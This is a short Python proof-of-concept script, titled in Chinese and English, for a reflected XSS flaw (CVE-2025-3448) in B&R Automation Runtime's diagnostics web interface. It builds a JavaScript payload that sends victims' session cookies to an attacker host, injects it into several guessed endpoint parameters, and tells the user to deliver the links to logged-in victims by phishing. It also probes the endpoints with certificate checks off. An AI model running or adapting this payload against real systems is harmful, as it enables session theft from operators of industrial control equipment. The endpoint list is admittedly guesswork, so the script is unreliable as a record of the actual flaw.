CVE-2025-3448 B&R Automation Runtime SDM反射型XSS漏洞

# CVE-2025-3448 - B&R Automation Runtime SDM Reflected XSS PoC # Reflected XSS vulnerability in System Diagnostics Manager (SDM) # Affected: B&R Automation Runtime versions before 6.4 import requests import urllib.parse TARGET_URL = "https://target-sdm-server" ATTACKER_SERVER = "https://attacker.com/steal" # Malicious JavaScript payload to steal session cookies payload_js = f""" document.location='{ATTACKER_SERVER}?cookie='+document.cookie; """.strip() # Encode the payload for URL injection encoded_payload = urllib.parse.quote(payload_js) # Construct the malicious URL with XSS payload in parameter # The exact vulnerable parameter may vary; common candidates include 'page', 'id', 'search', 'view', etc. vulnerable_endpoints = [ f"{TARGET_URL}/diagnostic?page={encoded_payload}", f"{TARGET_URL}/sdm/view?id={encoded_payload}", f"{TARGET_URL}/diagnostics/search?q={encoded_payload}", f"{TARGET_URL}/system/status?redirect={encoded_payload}", ] print("[*] CVE-2025-3448 - B&R Automation Runtime SDM Reflected XSS PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Attacker callback: {ATTACKER_SERVER}") print("[*] Generated malicious URLs:") for i, url in enumerate(vulnerable_endpoints, 1): print(f"\n[{i}] {url}") # Send the malicious URL to the victim via phishing email, IM, etc. # When victim clicks while authenticated to SDM, the script executes print("\n[*] Send these URLs to the authenticated victim via phishing.") print("[*] When the victim clicks, the JavaScript will execute in their browser context.") print("[*] Captured cookies/data will be sent to the attacker's server.") # Example: Test if endpoint is vulnerable (basic check) for endpoint in vulnerable_endpoints: try: test_url = endpoint.replace(encoded_payload, "<script>alert('XSS')</script>") resp = requests.get(test_url, timeout=5, verify=False) if "<script>alert('XSS')</script>" in resp.text: print(f"\n[!] VULNERABLE: {test_url}") print(f"[!] Payload reflected in response without sanitization!") except Exception as e: print(f"[-] Error testing endpoint: {e}")